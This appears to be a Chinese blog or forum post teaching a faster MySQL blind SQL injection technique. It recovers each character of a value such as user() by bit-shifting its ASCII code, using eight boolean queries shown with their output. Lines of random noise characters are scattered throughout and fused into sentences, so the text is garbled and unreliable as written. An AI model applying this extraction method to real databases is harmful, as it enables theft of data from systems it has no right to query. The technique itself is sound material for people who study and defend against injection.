关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
5 u4 D6 c: c3 x* r6 @$ P
  ~" Z3 s' m% ~9 B  o5 D$ N

7 A" a6 }: B4 w# F, `+ ]! q下面将以查询mysql数据库当中user()的第一位为例:


8 G$ `8 n8 T. @& `8 t: i. j3 N2 N( N
. x- m2 \2 u3 t4 W) Ops:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

3 A, E- J# {/ X8 T

首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

- e' v: Y  D  d0 e1 U, ~8 V
, t' ]% ~" |6 y) b) _
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
) G! |' H% m% y

' _0 y: j& l0 i! e5 _( i2 H1 n
( }# m' y0 \1 [, W第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 z0 q/ S) G# }) `

7 K) V+ o: I# M
如果运算结果为1,说明第一位为0,不为1
$ a* U' T  f; Z3 N: c7 E1 U
, `0 P# N& i; ]( P
6 v" Q  p% y( J4 H; ?
+————————————–+

) u' B, n+ R& N1 V2 _0 p9 a| (ascii((substr(user(),1,1))) >> 7)=0 |

' e) q, A+ D- P3 o- n+————————————–+

4 R6 p5 E; X; D6 ], T- ^0 Z* I| 1 |

+————————————–+
! |. z8 N* ]8 J
7 u% h; T* s" e3 ]0 t. v1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



+ x$ S2 S& c4 O3 @- o( F第二次我们来做6次右偏移来确定前两位


, n7 U5 D0 n! I" k# T
前两位可能是01或00,即依然可以与0做比较,

* a7 I5 W! d2 d, Emysql> select (ascii((substr(user(),1,1))) >> 6)=0;

' `7 U: d& t$ h9 W! a+————————————–+

, H5 z8 K% Z4 q: a) N| (ascii((substr(user(),1,1))) >> 6)=0 |
, F! o* _) F# T
! M: m4 Y8 K4 l$ `  V+————————————–+
# p& X6 A$ f" c, h- [
| 0 |

+————————————–+
9 z. V4 Y) R8 U5 {3 @
1 row in set (0.00 sec)


4 h$ I1 }+ F$ q# b6 W
( g% T: k. A3 z, x- C结果为0,即第二位为1
6 v; @' u5 B8 l: \. `4 p9 i


开始猜测前三位为010或011



3 Y! k) M+ E" @9 ^- Z9 k& J让我们看看010和011的ascii码是多少
/ V3 T2 \& ~1 Z
: B, L: Z- i- x' }+ l4 P: A
' Z! S% w2 r7 N  L& c
分别查询select b’011′ select b’010′

% z1 F9 E: E, i  r

获得结果 010 = 2 011 = 3
0 I# X' a" s- T1 E
+ i, K6 o9 j4 m) l1 M7 L/ E$ p1 a
  R1 D, C6 |1 {9 E
执行如下sql:
& \$ l3 f' s$ x% Z# _
" k, ^+ k$ x$ S2 T
$ w7 G5 H: h- \$ ^
) N/ @7 U8 R, B4 _2 r/ t+ `; A/ Dmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
# Q- J) }! b- T) O% s1 F( X" \
. L$ a6 ]) D# u2 X% P; e7 l+————————————–+

! o# G( b" p+ d| (ascii((substr(user(),1,1))) >> 5)=2 |

& Z/ o9 ]' @" q+————————————–+

| 0 |
3 h# k$ s9 S( h
+————————————–+

即前三位不为010,而是011
* }8 K# s& O  s$ H. I
, r  u1 K3 `0 f' L$ G

7 T6 b% K' o% y. O, J$ E7 j: Q! L直到获得最后一位
( q6 M( B9 b' k


最终结果为:01110010



转换一下:
- ~" w; @  `9 `1 A, ^/ H+ S" F


" E- k: M) f$ W; M) Gselect b’01110010′

$ c5 f& ]% [. N& o$ n
) K6 u. s4 H) u0 R8 R& |& l( t
查询结果
$ y. W- L5 Q! D" y( C
# p' R; R  e. d! A

+————-+

| b’01110010′ |

+————-+

' w. l  j( S; W% @. D$ l| r |

+————-+
, f6 K2 b/ Z3 {/ }1 u  M# e2 j* e
" C: ^# u8 o! k! A1 row in set (0.00 sec)
: Q3 g2 L8 y' J  M) g7 f
- ^; D" s/ L3 f: p" D# u% }; K5 r3 Y: K
. Y1 l+ N# d- J+ h6 d+ a8 U
8 r: ?6 G( \4 p, F! R这样我们就获得了user()的第一位.其它位依此类推